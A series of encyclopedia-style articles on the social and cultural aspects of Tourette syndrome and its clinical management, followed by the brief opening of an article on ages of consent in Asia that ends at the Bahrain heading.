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Societal and cultural aspects of Tourette syndrome include legal advocacy and health insurance issues, awareness of notable individuals with Tourette syndrome, and treatment of TS in the media and popular culture.
Tourette syndrome is an inherited neurological disorder with onset in childhood, characterized by the presence of motor and phonic tics. Tourette's is a misunderstood and stigmatized condition, often mentioned in the popular media. Tourette syndrome was once considered a rare and bizarre syndrome. It is no longer considered rare, but is often undetected, due to the wide range of severity, with most cases classified as mild. Tourette's is defined as part of a spectrum of tic disorders, which includes provisional and chronic tics. With increased knowledge of the full range of severity of Tourette syndrome—including milder cases—it has shifted from a condition only recognized in its most severe and impairing forms, to one recognized as a condition which is often mild, and which may be associated with some advantages and some disadvantages.
Legal and insurance issues
There is no reason to believe that persons with Tourette's have diminished capacity in regards to understanding legal issues. Examples of federal legislation which protects some rights of individuals with TS in the United States include the Individuals with Disabilities Education Act (IDEA) and the Americans with Disabilities Act (ADA). Legal and other advocacy information regarding the challenges associated with TS can be found on the website of the Tourette Association of America.
A review of all cases tried in state and federal courts in the US between 1985 and 2003 (civil rights, criminal, education, family, labor, and social security) found that TS was implicated in only about 150 cases, 21 of which were criminal, over 18 years. The authors concluded that TS "rarely leads to criminal behavior, but patients with TS who have behavioral comorbidities are at risk of being involved with the legal system".
Latent advantages
Discussions with adults who have Tourette syndrome reveal that not everyone wants treatment or a "cure", especially if that means they may "lose" something else in the process. Some believe that there may even be latent advantages associated with the genetic vulnerability. Research supports some advantages associated with Tourette syndrome.
A controlled study on a small (13) group of individuals with TS found that cognitive control may be enhanced in young people with Tourette's because the need to suppress tics results in more efficient control of inhibitions. A subsequent study confirmed and extended the paradoxical result that individuals with Tourette's exhibit greater levels of cognitive control than age-matched healthy peers. There is some evidence to support the clinical lore that children with "TS-only" (Tourette syndrome in the absence of other comorbid conditions) are unusually gifted: neuropsychological studies have identified advantages in children with TS-only. A study of full-scale intelligence quotient (IQ) testing showed that children with TS-only had higher IQ scores, relative to their parents, than predicted by statistical models. Another neurological examination of motor function found that 76% of children with TS-only were faster than average on timed motor coordination, although similar results were not found among children with TS who also had ADHD. In a study of eight children, ages 8–17, those with Tourette syndrome were found to be much quicker at processing certain mental grammar skills than children without the condition. The abnormalities that lead to tics may also lead to "other rapid behaviors, including the cognitive processing of rule-governed forms in language and other types of procedural knowledge". The investigator, Michael Ullman, PhD, said, "These children were particularly fast, as well as largely accurate, in certain language tasks. This tells us that their cognitive processing may be altered in ways we have only begun to explore, and moreover in a manner that may provide them with performance that is actually enhanced compared [to] that of typically developing children".
Notable individuals
There are many individuals with Tourette's, living and deceased, recognized in their fields, or for whom obsessive-compulsive tendencies associated with Tourette's may have helped fuel their success.
Samuel Johnson
An example of a person who may have used obsessive-compulsive traits to advantage is Dr. Samuel Johnson, lexicographer, who had Tourette syndrome as evidenced by the writings of James Boswell. Johnson wrote A Dictionary of the English Language in 1747, and was a prolific writer, poet, and critic. The "case of Dr Johnson accords well with current criteria for the Tourette syndrome; he also displayed many of the obsessional-compulsive traits and rituals which are associated with this syndrome".
According to Boswell,
... while talking or even musing as he sat in his chair, he commonly held his head to one side towards his right shoulder, and shook it in a tremulous manner, moving his body backwards and forwards, and rubbing his left knee in the same direction, with the palm of his hand. In the intervals of articulating he made various sounds with his mouth; sometimes giving a half whistle, sometimes making his tongue play backwards from the roof of his mouth, as if clucking like a hen, and sometimes protruding it against his upper gums in front, as if pronouncing quickly under his breath, 'Too, too, too.' All this accompanied sometimes with a thoughtful look, but more frequently with a smile. Generally when he had concluded a period, in the course of a dispute, by which time he was a good deal exhausted by violence and vociferation, he used to blow out his breath like a Whale.
There are many similar accounts; in particular, Johnson was said to act in such a manner at the thresholds of doors, and Frances Reynolds—younger sister of artist Joshua Reynolds—said that, "with poor Mrs Williams, a blind lady who lived with him, he would quit her hand, or else whirl her about on the steps as he whirled and twisted about to perform his gesticulations". When asked by English poet Christopher Smart's niece, a young child at the time, why he made such noises and acted in that way, Johnson responded: "From bad habit."
Johnson had a number of tics and other involuntary movements. In 1994, Pearce analysed the details provided by Boswell and others; based on the anecdotal evidence, Pearce compiled a list of movements and tics which Johnson was said to have demonstrated. From that list, he determined it was possible that Johnson had Tourette syndrome.
Pearce was not alone in diagnosing Johnson as having Tourette syndrome; in 1967 McHenry Jr was the first to diagnose Johnson with the syndrome. It was not until Arthur K. Shapiro's Gilles de la Tourette Syndrome that the diagnosis was made clear, with Shapiro declaring, "Samuel Johnson ... is the most notable example of a successful adaptation to life despite the liability of Tourette syndrome". Murray had come to the same conclusion in a 1979 British Medical Journal paper. Murray based his diagnosis on various accounts of Johnson displaying physical tics, "involuntary vocalisations" and "compulsive behaviour".
In a 2007 analysis, Kammer discussed the "documented evidence" of Johnson's tics, saying that Johnson was "known to have suffered from TS". According to neurologist Oliver Sacks, "the case for Samuel Johnson having the syndrome, though [...] circumstantial, is extremely strong and, to my mind, entirely convincing". He continues by generally describing the "enormous spontaneity, antics, and lightning quick wit" that featured prominently in Johnson's life. However, Pearce goes further into Johnson's biography and traces particular moments in Johnson's life which reinforced his diagnosis, concluding:
It is not without interest that periodic boundless mental energy, imaginative outbursts of inventiveness and creativity, are characteristic of certain Tourette patients. It may be thought that without this illness Dr Johnson's remarkable literary achievements, the great dictionary, his philosophical deliberations and his conversations may never have happened; and Boswell, the author of the greatest of biographies would have been unknown.
Other speculative posthumous diagnoses of TS, for example Mozart, are not "... as entirely convincing ... [as] the case for Samuel Johnson having TS ...".
Others
French author, adventurer, and statesman André Malraux is thought to have had Tourette syndrome. American millionaire Howard Ahmanson, Jr also has Tourette's, as does teacher and author Brad Cohen. Catalan writer Quim Monzó has Tourette's and is the Honorary President of the Spanish Tourette Syndrome Association (APTT). Miss Iowa winner and Miss America 2013 contestant Mariah Cary (not the singer of a similar name) has Tourette's.
Recognized athletes and figures in the sports world diagnosed with Tourette syndrome include American former soccer goalkeeper Tim Howard, American former NBA player Mahmoud Abdul-Rauf, American three-time Olympic skeleton champion Eric Bernotas, American former MLB player Jim Eisenreich, American former MLB player Mike Johnston, American motocross rider Jeremy Stenberg (nicknamed "Twitch"), and American NASCAR driver Steve Wallace.
Recognized figures in the entertainment industry with Tourette syndrome include American singer-songwriter Billie Eilish, Swedish singer and DJ Basshunter, American composer Tobias Picker, English classical pianist Nick van Bloss, American jazz musician Michael Wolff, English singer-songwriter Nick Tatham, American singer James Durbin, Venezuelan internet personality Lele Pons, Scottish singer-songwriter Lewis Capaldi, American internet personality Ethan Klein, and Icelandic actor Stefán Karl Stefánsson. The Tourettes awareness project called Touretteshero was set up by Jess Thom as a place to "celebrate the humour and creativity of Tourettes".
Author and neurologist Oliver Sacks once described the case of a drummer with Tourette's who used his tics to give him a certain "flair" or "special sound" to his drumming. Sacks used the pseudonym Carl Bennett to describe real-life Canadian Mort Doran, M.D., a pilot and surgeon with severe Tourette's, whose tics remit almost completely while he is performing surgery. Australian astrophysicist Rodney Marks had Tourette syndrome.
In a radio interview with Terry Gross, comedian Dan Aykroyd once described himself as having mild Tourette's that was successfully treated with therapy when he was a preteen, as well as mild Asperger syndrome. The latter was not recognized in the 1960s when Aykroyd was a preteen, and the term was coined in 1981, later becoming a recognized diagnosis in the 1994 DSM. Tics can be caused by other disorders, including autism disorders such as Asperger's. It is unclear if Aykroyd received the diagnoses from a medical source, whether he was speaking in his role as a comic, or if the diagnoses were self-made.
Speculation about notable individuals
Although some authors have speculated that Mozart had Tourette syndrome, the evidence for this hypothesis is lacking. Benjamin Simkin, a medical doctor, argues in his book Medical and Musical Byways of Mozartiana that Mozart had Tourette syndrome. Simkin is an endocrinologist—not a psychiatrist or a neurologist, the medical fields which specialize in the neurological disorder. His claim was picked up by newspapers worldwide, causing an international sensation, and internet websites have fueled the speculation. Letters Mozart wrote to his cousin Maria Anna Thekla ("Bäsle") between 1777 and 1781 contain scatological language; he wrote canons titled Leck mich im Arsch ("Lick my arse") or variations thereof (including the pseudo-Latin Difficile lectu mihi mars). While the term "Leck mich am Arsch", when literally translated, conjures up images of sexual practices, the more accurate English meaning of this phrase is simply "Kiss my ass". The additional phrase "... recht fein schön sauber", while colorful, is still only an emphasis: that is to say, "Kiss my ass real good!". The use of this written language alone is not necessarily indicative of coprolalia, a rare symptom present in a minority of people with TS, and there are cultural explanations for Mozart's use of language. The German phrase was popularized by the Johann Wolfgang von Goethe (1749–1832) drama about the historical figure of Götz von Berlichingen. Coprolalia encompasses words and phrases that are culturally taboo or generally unsuitable for acceptable social use; it is usually expressed out of social or emotional context, and may be spoken in a louder tone or different cadence or pitch than normal conversation. The phrases uttered by a person with coprolalia do not necessarily reflect the thoughts or opinions of the person, and are embarrassing to the person uttering them.
A German psychiatrist examined the question of Mozart's diagnoses and concluded that "Tourette’s syndrome is an inventive but implausible diagnosis in the medical history of Mozart". Evidence of motor tics was found lacking and the notion that involuntary vocal tics are transferred to the written form was labeled "problematic". Neurologist and author Oliver Sacks published an editorial disputing Simkin's claim, and the Tourette Syndrome Association pointed out the speculative nature of this information. No Tourette's syndrome expert or organization has voiced concurrence that there is credible evidence to conclude that Mozart had Tourette's. One TS specialist stated that, "although some web sites list Mozart as an individual who had Tourette's and/or OCD, it's not clear from the descriptions of his behavior that he actually had either."
References in the media
The video media—notably the Internet, movies, and television—have been criticized for sensationalizing the symptoms of Tourette syndrome, and for creating inaccurate perceptions about people with TS in the minds of the public.
In film and TV
According to Collado-Vázquez and Carrillo (2013), film representations of tics and Tourette's, "have not been adjusted to reality, and have been used to ridicule a character, [and to] exaggerate symptoms in a comic or grotesque tone, or [display them] as a characteristic trait of a cruel and evil individual".
Television shows that are credited with helping to advance accurate information about TS include Quincy, M.E., The Practice, and 7th Heaven. A March 1981 episode of Quincy was devoted to Tourette's and orphan drugs; it "not only educated the American public about Tourette's as an organic disorder, but also helped get the then stalled 'Orphan Drug Bill' passed ... into legislation".
The entertainment industry has been accused of depicting those with TS as being social misfits whose only tic is coprolalia, which has furthered stigmatization and the general public's misunderstanding of persons with TS. The symptoms of Tourette syndrome are fodder for radio and television talk shows. Some talk shows (for example, Oprah) have focused on accurate portrayals of people with TS, while others (for example, Dr. Phil) have been accused of furthering stigmatization, focusing on rare and sensational aspects of the condition.
An incident of disinformation about coprolalia and Tourette's involved Dr. Laura Schlessinger. According to the former Tourette Syndrome Association (name changed to Tourette Association of America in 2015), she berated a caller inquiring whether a child with TS should attend a family wedding, declaring that a majority of those with the condition exhibited coprolalia and should be excluded from many social situations, provoking numerous angry calls about the misinformation. Garrison Keillor, radio show host of NPR's A Prairie Home Companion, produced a segment in 2006, titled "Broadway Tourette's", about segregating people with stereotypical TS from other passengers on a cruise ship, prompting a press release from the Tourette Syndrome Association.
Other television and film productions depicting persons with TS, or using coprolalia as a plot device, include an episode of Ally McBeal, in which Anne Heche portrays a woman with Tourette's whose leg tic causes her to run over and kill her boyfriend; "An Angel on my Tree", an episode of Touched by an Angel in which a father commits manslaughter in reaction to an event that involved his son who had Tourette's; an episode of The Simpsons, in which Bart Simpson is mentioned to claimed to have Tourette's to excuse himself from a test; and an episode of South Park, "Le Petit Tourette", in which Eric Cartman pretends to have Tourette's to get away with saying offensive things. The episode received a mixed reaction from the Tourette Syndrome Association, which commented that it provided useful information, while at the same time perpetuating outright myths about coprolalia and Tourette syndrome.
In the film Matchstick Men, the protagonist (Nicolas Cage) is a neurotic con artist with Tourette's and obsessive compulsive disorder. Other examples are The Big White, The Boondock Saints, Curb Your Enthusiasm, Deuce Bigalow: Male Gigolo, Maze, Niagara, Niagara, Not Another Teen Movie, The Predator, Phoebe in Wonderland, Son of the Sunshine, Wedding Crashers, Motherless Brooklyn,The Road Within, Vincent Wants To Sea, The Wedding Singer, The West Wing, and What About Bob. The British comedic drama Shameless features Marty Fisher, a character with Tourette syndrome who is an arsonist.
Several documentaries have attempted to portray Tourette's syndrome accurately and to advocate for greater understanding of persons with Tourette's, while others focus on sensationalizing coprolalia. The Emmy Award-winning television documentary film I Have Tourette's but Tourette's Doesn't Have Me was produced by HBO, in conjunction with the Tourette Syndrome Association, featuring children between the ages of six and 13. It was described by the Cincinnati Enquirer as "the best simple overview yet of Tourette's". John's Not Mad (1989) and The Boy Can't Help It (2000) are documentaries about a young man from Scotland, who has severe Tourette's and coprolalia. Twitch and Shout examines a society that is quick to judge a person who strays outside the limits of conventional behavior, and was nominated for an Emmy Award. A 2007 British documentary, Tourette De France, followed a group of teenagers with Tourette's on a trip to Paris; many of the teenagers featured in the program had coprolalia. Movements and Madness: Gusti Ayu is a documentary about the struggles of a young woman with severe Tourette's in a small village in Indonesia. A 2011 BBC documentary, Tourettes: I Swear I Can Sing, followed aspiring musician Ruth Ojadi as she explains her experience of TS, and her struggle to find self-confidence in her singing. The Canadian documentary film 75 Watts (2011) profiled Matt Giordano, a drummer with Tourette syndrome who uses music to cope with the challenges of the condition.
A movie released on video, The Tic Code, stars Gregory Hines as a saxophone player with TS who befriends a 10-year-old boy with TS. It was written by Polly Draper, and produced with her husband, jazz musician Michael Wolff, who has Tourette's, and on whose life the script was loosely based. The UK movie Dirty Filthy Love tells the story of Mark Furness (Michael Sheen) with obsessive compulsive disorder (OCD) and Tourette's.
Singer Pete Bennett, the winner of the 2006 edition of British TV reality show, Big Brother 7, has Tourette syndrome. The show has been accused of exploiting Bennett's Tourette's syndrome; and the British Psychological Society (BPS) expressed concern and the possibility that BPS members involved in the series could face censure. His condition was reported to have been aggravated by drug use. Some viewers expressed concern that the show had exploited Tourette's, while others felt it was educational.
Teacher Brad Cohen wrote a book about his experiences with Tourette syndrome, which was made into a Hallmark Hall of Fame film, Front of the Class. A Bollywood remake, Hichki (meaning hiccup in Hindi), opened in 2018.
In social media
Social media campaigns supported by the Tourette Association of America have been used to encourage engagement with legislative representatives for advocacy, further tolerance and knowledge of tic disorders, and help improve self-esteem among young people with tics.
A 2012 study of YouTube videos on TS found that, while most had positive or accurate portrayals of the condition, few could be useful for education, and those with negative portrayals were more highly viewed. The negative portrayals emphasized coprolalia, and furthered stigma and stereotype for entertainment value.
Bartholomew, Wessely, and Rubin questioned in 2012 whether interaction on social media (Facebook, Twitter, YouTube, and Internet blogs) contributed to mass psychogenic illness in 2011, when adolescent girls in Le Roy, New York reported tic-like movements. (Movement disorders without an organic cause have been referred to over time using terms such as hysterical, psychogenic and psychogenic movement disorders; DSM-5 classifies them under functional neurological symptom disorder/conversion disorder and they are also referred to as functional movement disorders.) Bartholomew et al reported twitching epidemics in the US as early as 1939, and wrote that the Le Roy outbreak was the "third recorded school outbreak of conversion disorder with motor disturbances to occur in the USA since 2002", but the first in which reports of affected individuals spread via social networks.
During the COVID-19 pandemic, a dramatic increase in individuals reporting tics or tic-like movements in specialty clinics—but often assessed as functional (psychogenic) movement disorder related to YouTube and TikTok videos—was reported by researchers from Canada, Germany, the UK,
and the US.
In music and theatre
The Manic Street Preachers recorded a song on the Gold Against The Soul album titled "Symphony Of Tourette". A musical about Tourette's, In My Life, opened on Broadway in October 2005, and closed quickly due to poor reviews.
In 1979, composer Robert Ashley recorded a work called "Automatic Writing", based on his involuntary speeches.
In books
Pre-dating Gilles de la Tourette's 1885 publication which defined TS, likely portrayals of TS or tic disorder in fictional literature are Mr. Pancks in Little Dorrit by Charles Dickens and Nikolai Levin in Anna Karenina by Leo Tolstoy. According to Hendrik Voss, Mr. Pancks displays vocal tics, including snorting and blowing, and obsessive behaviors. Voss says that Nikolai is portrayed as having numerous motor tics ("head, neck, and body jerks, facial wrinkling, eyebrow twitching, and grimacing"), as well as the vocal tic of shouting. The description may have been based on Tolstoy's brother, Dmitry Tolstoy, who is described as having "peculiar movements of head and neck plus inappropriate shouts".
Quit It is a 2002 novel by Marcia Byalic, targeted at teens, about a seventh-grade girl recently diagnosed with TS. A protagonist with Tourette's is presented in Jonathan Lethem's detective novel, Motherless Brooklyn. The Gwyn Hyman Rubio novel Icy Sparks was an Oprah's Book Club selection about a teenage girl who may have TS. The World's Strongest Librarian by Josh Hanagarne is an autobiographical 2014 book about a Salt Lake City, Utah librarian with TS. Michael Vey: The Prisoner of Cell 25 by Richard Paul Evans is a 2011 novel whose main character, Michael Vey, has TS.
References
External links
Adults with TS – Tourette Syndrome Foundation of Canada
Samuel Johnson
Tourette syndrome
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https://en.wikipedia.org/wiki/Management%20of%20Tourette%20syndrome
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Management of Tourette syndrome
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Tourette syndrome (abbreviated as Tourette's or TS) is an inherited neurodevelopmental disorder that begins in childhood or adolescence, characterized by the presence of motor and phonic tics. The management of Tourette syndrome has the goal of managing symptoms to achieve optimum functioning, rather than eliminating symptoms; not all persons with Tourette's require treatment, and there is no cure or universally effective medication. Explanation and reassurance alone are often sufficient treatment; education is an important part of any treatment plan.
Tourette syndrome patients may exhibit symptoms of other comorbid conditions along with their motor and phonic tics. Associated conditions include attention-deficit hyperactivity disorder (ADHD), obsessive-compulsive disorder (OCD), learning disabilities and sleep disorders. Patients who have ADHD along with Tourette's may also have problems with disruptive behaviors, overall functioning, and cognitive function. Co-occurring OCD can also be a source of impairment, necessitating treatment. Not all persons with tics will also have other conditions and not all persons with tics require treatment, but when comorbid disorders are present, they often require treatment.
Management priority
Management of Tourette syndrome can be divided into treatment of tics, and treatment of co-occurring conditions, which, when present, are often a larger source of functional impairment than the tics themselves.
There is no cure for Tourette's. No one medication effectively treats all symptoms, most medications prescribed for tics have not been approved for that use, and no medication is without the risk of significant adverse effects. Treatment is focused on identifying the most troubling or impairing symptoms and helping the individual manage them. Because comorbid conditions are often a larger source of impairment than tics, they are a priority in treatment. The management of Tourette's is individualized and involves shared decision-making between the clinician, patient, family and caregivers.
Education, reassurance and psychobehavioral therapy are often sufficient for the majority of cases. In particular, psychoeducation targeting the patient and their family and surrounding community is a key management strategy. Watchful waiting "is an acceptable approach" for those who are not functionally impaired. Symptom management may include behavioral, psychological and pharmacological therapies. Pharmacological intervention is reserved for more severe symptoms, while psychotherapy or cognitive behavioral therapy (CBT) may ameliorate depression and social isolation, and improve family support. The decision to use behavioral or pharmacological treatment is "usually made after the educational and supportive interventions have been in place for a period of months, and it is clear that the tic symptoms are persistently severe and are themselves a source of impairment in terms of self-esteem, relationships with the family or peers, or school performance".
Psychoeducation and social support
Knowledge, education and understanding are uppermost in management plans for tic disorders, and psychoeducation is the first step. A child's parents are typically the first to notice their tics; they may feel worried, imagine that they are somehow responsible, or feel burdened by misinformation about Tourette's. Before seeing a doctor, many parents research TS on the internet, or have seen media portrayals of severe cases. Parents may be overly concerned, and not realize that they, too, have tics, while the child may not be bothered by the tics. In some cases, neither the parents nor their child know they are ticcing; pointing out tics in this case will unnecessarily draw attention to them. In such a case, informing a parent who is unaware of their own tics can be disturbing, and they have a "right not to be informed". When their child receives a diagnosis of Tourette syndrome, both parent and child usually feel relieved, although the diagnosis can also cause distress for the parents as they confront a chronic condition that can be difficult to treat. They may also react with disbelief, denial, anger or resentment, or be exhausted and discouraged by previous encounters with medical professionals and the daily challenges faced by their child and family. Effectively educating parents about the diagnosis and providing social support can ease their anxiety. This support can also lower the chance that their child will be unnecessarily medicated or experience an exacerbation of tics due to their parents' emotional state. Psychoeducation that encourages a "matter-of-fact" attitude, and helps dispel misconceptions and stigma, is most effective when provided to parents.
People with Tourette's may suffer socially if their tics are viewed as "bizarre". If a child has disabling tics, or tics that interfere with social or academic functioning, supportive psychotherapy or school accommodations can be helpful. Even children with milder tics may be angry, depressed or have low self-esteem as a result of increased teasing, bullying, rejection by peers or social stigmatization, and this can lead to social withdrawal. Some children feel empowered by presenting a peer awareness program to their classmates. It can be helpful to educate teachers and school staff about typical tics, how they fluctuate during the day, how they impact the child, and how to distinguish tics from naughty behavior. By learning to identify tics, adults can refrain from asking or expecting a child to stop ticcing, because "tic suppression can be exhausting, unpleasant, and attention-demanding and can result in a subsequent rebound bout of tics". The presence of ADHD is associated with functional impairment, disruptive behavior, and tic severity. Strategies to help the child at school can be established; these include allowing the child to chew gum to help reduce vocal tics, to use a laptop instead of writing by hand, and to take breaks from the classroom when tics are high. Providing additional test time can also be helpful, as can using oral tests when needed.
Adults with TS may withdraw socially to avoid stigmatization and discrimination because of their tics. Depending on their country's healthcare system, they may receive social services or help from support groups.
Behavioral
Behavioral therapies using habit reversal training (HRT) and exposure and response prevention (ERP) are first-line interventions, and have been shown to be effective. Because tics are somewhat suppressible, when people with TS are aware of the premonitory urge that precedes a tic, they can be trained to develop a response to the urge that competes with the tic.
Comprehensive behavioral intervention for tics (CBIT) is based on HRT, the best researched behavioral therapy for tics. CBIT has been shown with a high level of confidence to be more likely to lead to a reduction in tics than other behavioral therapies or psychoeducation. CBIT has some limitations. Children under ten may not understand the treatment, and people with severe tics or ADHD may not be able to suppress their tics or sustain the focus required to benefit from behavioral treatments. There is a lack of therapists trained in behavioral interventions, and finding practitioners outside of specialty clinics can be difficult. Costs may also limit accessibility. TS experts debate whether increasing a child's awareness of tics with HRT/CBIT (as opposed to ignoring tics) can lead to more tics later in life.
There is little evidence supporting massed negative practice in the management of tics.
In the UK, where there is a shortage of therapists trained to deliver behavioral treatments such that behavioral therapy is not available to most for whom it is recommended, the National Institute for Health and Care Research funded a study of behavioral therapy delivered online to individuals with moderate to severe tics and states that it might be effective in reducing tics and could help remedy the lack of professionals.
When disruptive behaviors related to comorbid conditions exist, anger control training and parent management training can be effective. CBT is a useful treatment when OCD is present. Relaxation techniques, such as exercise, yoga and meditation may be useful in relieving the stress that can aggravate tics. Beyond HRT, the majority of behavioral interventions for Tourette's (for example, relaxation training and biofeedback) have not been systematically evaluated and are not empirically supported.
Medication
Children with tics typically present when their tics are most severe, but because the condition waxes and wanes, medication is not started immediately or changed often. Tics may subside with education, reassurance and a supportive environment. When medication is used, the goal is not to eliminate symptoms. Instead, the lowest dose that manages symptoms without adverse effects is used, because adverse effects may be more disturbing than the symptoms being treated with medication.
There are no medications specifically designed to target tics, although some antipsychotics (for example, pimozide) have been FDA-approved for treating Tourette's. Medications which are used as primary treatment in other conditions are used with some success in treating tics. Neuroleptic medications (antipsychotics), such as haloperidol (brand name Haldol) or pimozide (brand name Orap), have historically been and continue to be the medications with the most proven efficacy in controlling tics. These medications work by blocking dopamine receptors, and are associated with a high side effect profile. The traditional antipsychotic drugs are associated with tardive dyskinesia when used long-term; and parkinsonism, dystonia, dyskinesia, and akathisia when used short-term. Additional side effects can be school phobia (a form of separation anxiety), depression, weight gain, and cognitive blunting (dulling of cognitive ability). Another traditional antipsychotic used in treating Tourette's is fluphenazine (brand name Prolixin), although the evidence supporting its use is less than that of haloperidol and pimozide.
The classes of medication with proven efficacy in treating tics—typical and atypical neuroleptics—can have long-term and short-term adverse effects. The antihypertensive agents are also used to treat tics; studies show variable efficacy, but a lower side effect profile than the neuroleptics. There is moderate evidence that the antihypertensive clonidine, along with aripiprazole, haloperidol, risperidone, and tiapride, reduce tics more than placebo. Aripiprazole and risperidone are likely to lead to weight gain and sedation or fatigue; tiapride may produce sleep disturbances and tiredness; and clonidine may produce sedation. Risperidone and haloperidol may produce extrapyramidal symptoms, and increase prolactin levels. Because of lower side effects, aripiprazole is preferred over other antipsychotics.
The α2-adrenergic receptor agonists (antihypertensive agents) show some efficacy in reducing tics, as well as other comorbid features of some people with Tourette's. Originally developed to treat high blood pressure, these medications are a safer alternative to neuroleptic medications for the people with TS that respond to them. This class of medication is often the first tried for tics, as the antihypertensives have a lower side effect profile than some of the medications with more proven efficacy. The evidence for their safety and efficacy is not as strong as the evidence for some of the standard and atypical neuroleptics, but there is fair supportive evidence for their use, nonetheless. This class of medication takes about six weeks to begin to work on tics, so sustained trials are warranted. Because of the blood pressure effects, antihypertensive agents should not be discontinued suddenly. Clonidine (brand name Catapres) works on tics for about half of people with TS. Maximal benefit may not be achieved for 4–6 months. A small number of patients may worsen on clonidine. Guanfacine (brand name Tenex) is another antihypertensive that is used in treating TS. Side effects can include sedation, dry mouth, fatigue, headaches and dizziness. Sedation can be problematic when treatment is first initiated, but may wear off as the patient adjusts to the medication.
Other medications that can be used to treat tics include pergolide (brand name Permax), and with less empirical support for efficacy, tetrabenazine and baclofen.
There is low to very low confidence that tics are reduced with baclofen, deprenyl, flutamide, guanfacine, mecamylamine, metoclopramide, ondansetron, pimozide, pramipexole, riluzole, tetrahydrocannabinol, topiramate, or ziprasidone. There is insufficient evidence for other cannabis-based medications in the treatment of Tourette's.
Clomipramine, a tricyclic, and SSRIs—a class of antidepressants including fluoxetine, sertraline, and fluvoxamine—may be prescribed when a Tourette's patient also has symptoms of obsessive–compulsive disorder.
The benefits and harms of botulinum toxin for treating tics have not been established .
Treatment of ADHD in the presence of tic disorders
Patients with Tourette's who are referred to specialty clinics have a high rate of comorbid attention-deficit hyperactivity disorder (ADHD), so the treatment of ADHD co-occurring with tics is often part of the clinical treatment of Tourette's. Patients who have ADHD along with Tourette's may also have problems with disruptive behaviors, overall functioning, and cognitive function, accounted for by the comorbid ADHD, highlighting the importance of identifying and treating other conditions when present.
Stimulants and other medications may be useful in treating ADHD when it co-occurs with tic disorders. Drugs from several other classes of medications can be used when stimulants fail. There is moderate evidence supporting that clonidine combined with methylphenidate, desipramine, and methylphenidate alone reduce tics more than placebo when ADHD is also present; desipramine is rarely used following reports of sudden death in children. Atomoxetine does not increase tics, but may lead to weight loss and an increased heart rate.
The treatment of ADHD in the presence of tic disorders has long been a controversial topic. Past medical practice held that stimulants (such as Ritalin) could not be used in the presence of tics, due to concern that their use might worsen tics; however, multiple lines of research have shown that stimulants can be cautiously used in the presence of tic disorders.
Several studies have shown that stimulants do not exacerbate tics any more than placebo does, and suggest that stimulants may even reduce tic severity. Controversy remains, and the PDR continues to carry a warning that stimulants should not be used in the presence of tic disorders, so physicians may be reluctant to use them. Others are comfortable using them and even advocate for a stimulant trial when ADHD co-occurs with tics, because the symptoms of ADHD can be more impairing than tics.
The stimulants are the first line of treatment for ADHD, with proven efficacy, but they do fail in up to 20% of cases, even in patients without tic disorders. Current prescribed stimulant medications include: methylphenidate (brand names Ritalin, Metadate, Concerta), dextroamphetamine (Dexedrine), and mixed amphetamine salts (Adderall). Other medications can be used when stimulants are not an option. These include the alpha-2 agonists (clonidine and guanfacine). There is good empirical support for the use of desipramine, bupropion and atomoxetine (brand name Strattera). Atomoxetine is the only non-controlled Food and Drug Administration (FDA) approved drug for the treatment of ADHD, but is less effective than stimulants for ADHD, is associated with individual cases of liver damage, carries an FDA black box warning regarding suicidal ideation, and controlled studies show increases in heart rate, decreases of body weight, decreased appetite and treatment-emergent nausea.
Other
Complementary and alternative medicine approaches, such as dietary modification, neurofeedback and allergy testing and control have popular appeal, but they have no proven benefit in the management of Tourette syndrome. Despite this lack of evidence, up to two-thirds of parents, caregivers and individuals with TS use dietary approaches and alternative treatments and do not always inform their physicians. According to Müller-Vahl (2013), medical professionals "should feel obliged to inform their patients about not only effective but also ineffective treatments". There is low confidence that tics are reduced with tetrahydrocannabinol, and insufficient evidence for other cannabis-based medications in the treatment of Tourette's.
While a balanced diet may aid in overall health, and avoidance of caffeine may help minimize tics for some children, no particular diet or alternative therapy (vitamin or diet) is supported by scientific evidence. Regular exercise can help reduce stress and improve a child's sense of accomplishment and self-esteem, but the effect of exercise on symptoms remains unstudied. There is no good evidence supporting the use of acupuncture or transcranial magnetic stimulation; neither is there evidence supporting intravenous immunoglobulin, plasma exchange, or antibiotics for the treatment of PANDAS.
Deep brain stimulation (DBS) has become a valid option for individuals with severe symptoms that do not respond to conventional therapy and management, although it is an experimental treatment. There is low-quality, limited evidence that DBS is safe, well tolerated, and yields a reduction of symptoms ranging from no change to complete remission. Selecting candidates who may benefit from DBS is challenging, and the appropriate lower age range for surgery is unclear; it is potentially useful in less than 3% of individuals. The ideal brain location to target has not been identified . DBS has been used to treat adults with severe Tourette's that does not respond to conventional treatment. Viswanathan A et al (2012) say that DBS should be used in patients with "severe functional impairment that can not be managed medically".
Pregnancy
A quarter of women report that their tics increase before menstruation, however studies have not shown consistent evidence of a change in frequency or severity of tics related to pregnancy. Overall, symptoms in women respond better to haloperidol than they do for men, and one report found that haloperidol was the preferred medication during pregnancy, to minimize the side effects in the mother, including low blood pressure, and anticholinergic effects. Most women find they can withdraw from medication during pregnancy without much trouble.
Practice guidelines
In 2019, the American Academy of Neurology (AAN) published practice guidelines, "Treatment of tics in people with Tourette syndrome and chronic tic disorders", including 46 recommendations based on a systematic review by nine physicians, two psychologists, and two patient representatives. The panel assigned three levels of recommendations corresponding to the strength of the evidence supporting the recommendation:
A: "rare because they are based on high confidence in the evidence and require both a high magnitude of benefit and low risk".
B: "common because the requirements are less stringent but still based on the evidence and benefit–risk profile".
C: "lowest allowable recommendation level that the AAN considers useful within the scope of clinical practice and accommodates the highest degree of practice variation".
The panel attached a helping verb to each level of recommendation: A = must; B = should, and C = may.
Notes
Book sources
External links
Comprehensive Behavioral Intervention for Tics, Tourette Association of America
Tourette syndrome
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https://en.wikipedia.org/wiki/Ages%20of%20consent%20in%20Asia
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Ages of consent in Asia
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The legal age of consent for sexual activity varies by jurisdiction across Asia. The specific activity engaged in or the gender of participants can also be relevant factors. Below is a discussion of the various laws dealing with this subject. The highlighted age refers to an age at or above which an individual can engage in unfettered sexual relations with another who is also at or above that age. Other variables, such as homosexual relations or close in age exceptions, may exist, and are noted when relevant, for example in Indonesia.
Summary
All jurisdictions in Asia per List of sovereign states and dependent territories in Asia:
Definitions
Table
Afghanistan
Sexual activity outside marriage is illegal in Afghanistan. According to the Ministry for the Propagation of Virtue and the Prevention of Vice, marriage is allowed at puberty.
Bahrain
